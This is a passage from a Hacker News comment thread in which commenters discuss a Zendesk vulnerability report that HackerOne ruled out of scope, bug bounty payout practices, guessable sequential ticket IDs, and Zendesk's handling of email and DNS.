| finding, but it feels like an easy oversight for a 15 year old
| after getting rejected on the first round.
|
| Zendesk should take the higher ground and recognize the mistake
| and correct it. Not get all "ethical mumbo jumbo."
| Ylpertnodi wrote:
| >it feels like an easy oversight for a 15 year old after
| getting rejected on the first round.
|
| I'm not 15, but since you ignore(d) me - game over.
| valiant-comma wrote:
| Looks similar in concept to this finding from 2017:
|
| https://medium.com/intigriti/how-i-hacked-hundreds-of-compan...
| BehindTheMath wrote:
| It's linked in the post.
| valiant-comma wrote:
| Ahh, I did read the post but missed seeing the link!
| gtirloni wrote:
| I never understood these technicalities in HackerOne. Oh, you
| hacked us in a way we said we don't like? Sure, the blackhats
| will abide.
| rthtrjtyjt wrote:
| There are countless stories of companies finding ways to not pay
| bug bounties. At least the black hats get their cut.
| kidbomb wrote:
| "Create an Apple account with support@company.com email"
|
| Wait - how is that workflow possible and supported?
|
| In my head, authorization under @company.com would be delegated
| to a central directory, instead of relying on Apple ID. It is
| effectively an authentication bypass.
| Fokamul wrote:
| Big surprise that companies which outsource everything to India
| and other countries are hacked. No, not really. GL HF
| danpalmer wrote:
| This matches my experience with Zendesk. We did an integration at
| my previous company and they were incredibly naive with respect
| to email setup. We had quite strict requirements around
| deliverability in particular, and having the Zendesk setup play
| nicely with our email domain setup that was tuned for
| deliverability. Sadly Zendesk were unable to engage with the
| issue beyond "just forward emails from your gmail support inbox"
| which was a long way behind where we were.
|
| For a company built on email, they're not good at it.
| nixpulvis wrote:
| My first thought (which is somewhat self-serving because I hate
| 3rd party sign on) is that this is a great case study for having
| only one method of sign-in.
| dools wrote:
| How's that "please keep this between us" request working out for
| them?
|
| Also I think this is a good reminder that using sequential IDs
| for anything public facing is almost always a bad idea (or at the
| very least something you should think very hard about). It would
| be pretty easy to make ticket ID, for example, a sequential 5
| digit number followed by 4 random alphanumeric characters.
| Everyone could still easily refer to the ticket number, but it
| wouldn't be guessable.
| hedora wrote:
| Wait. Did zendesk actually fix the issue, or did they just
| blacklist a few senders and decide to continue to rely on third
| party spam filters to save them?
| csomar wrote:
| You are a sucker if you are using a platform like HackerOne. I
| reported a bug (Crypto Exchange, Bitmex) 5 years ago. It was not
| a critical bug, but still. The team kept the bug report open for
| 5 years; I assume so that it doesn't affect their payout score.
| They recognized the bug. After 5 years they closed it. Zero
| communication.
|
| If you value your time and your health, don't use these
| platforms. If platforms want security, they can hire people by
| the hour/day and pay them the relevant wages.
| system2 wrote:
| Guess who is going to tell all of his clients about this. Me. I
| hate corporates pulling this type of crap.
| arendtio wrote:
| Are you not allowed to discuss a vulnerability you found when it
| is considered out of scope?
|
| I mean it sounds weird to argue that you won't pay, but do not
| allow the person to talk about it anyway. Even more so if the
| person communicated with affected companies instead of some
| darknet marketplace.
| deepsun wrote:
| I heard that Zendesk Security team force your _root_ domain to
| allow their SSL certificates to be issued, per CAA dna record.
|
| I.e. you have domain support.example.com, CNAMEd to Zendesk, so
| you cannot add any other DNS record to it, but Zendesk should do
| it on their side. But they refuse, and force you to put CAA to
| your root domain example.com.
___________________________________________________________________
(page generated 2024-10-13 22:01 UTC)